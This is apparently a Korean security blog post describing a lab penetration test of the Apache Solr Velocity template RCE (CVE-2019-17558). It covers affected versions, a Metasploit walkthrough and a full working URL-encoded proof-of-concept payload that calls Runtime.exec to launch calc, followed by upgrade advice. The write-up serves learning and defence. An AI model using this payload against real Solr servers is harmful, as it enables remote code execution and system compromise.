Hacking/System
[모의 침투] Apache Solr RCE 취약점(CVE-2019-17558)
Gom_Po
2025. 6. 5. 17:56
Apache Solr란?
Apache Solr는 Apache Lucene을 기반으로 만들어진 검색 엔진으로 특정 형식의 XML 파일을 서버에 업로드하여 인덱스를 생성하거나 검색 요청을 하여 결과를 XML 형식으로 얻을 수 있는 엔진

CVE-2019-17558 취약점
이 취약점은 Apache Solr에서 발견된 RCE(Remote Code Execution) 취약점으로 Apache Solr에서 Velocity Response Writer(Solr 플로그인)의 "parms.resource.loader"의 값이 "True"로 설정되어 있는 경우 RCE 공격이 가능한 취약점
영향을 받는 소프트웨어
구분 | 영향을 받는 소프트웨어 |
1 |
Apache Solr 5.0.0 ~ 8.3.1
|
환경 구축
구분 | 버전 정보 |
공격자 PC | Kali Linux 2022 |
희생자 PC | Windows 10 |
Apache Solr | solr-spec 5.3.1 |
테스트 현황 (Metasploit)
포트 스캔 시 피해자 PC에서 Apache Solr가 동작하고 있는 것을 확인 가능
Metasploit에서 Apache Solr 취약점 중 하나인 CVE-2019-17558 도구가 존재하는 것을 확인
Options 값을 설정 시 공격자 PC가 Windows이기 때문에 "target"을 Windows로 설정 후 CMD 값에 "clac" 명령어 실행하라는 옵션 설정
option 값 설정 후 해당 Apache Solr에 취약점 존재 유무 확인을 위해 "check" 명령어 전송 시 취약한 Core가 존재하는 것을 확인 가능
Exploit 시 피해자 PC에서 계산기가 실행되는 것을 확인 가능함
테스트 현황 (BurpSuite)
Burp Suite를 통한 테스트 진행 시 아래 POC 코드를 통해 실행
/solr/[취약한 Core명]/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($a=%27%27)+%23set($rt=$a.class.forName(%27java.lang.Runtime%27))+%23set($chr=$a.class.forName(%27java.lang.Character%27))+%23set($str=$a.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27calc%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
취약한 Core에 POC 코드 삽입 시 계산기가 올라오는 것을 확인 가능
대응 방안
- Apache Solr 8.4.0 이상을 사용할 것을 권고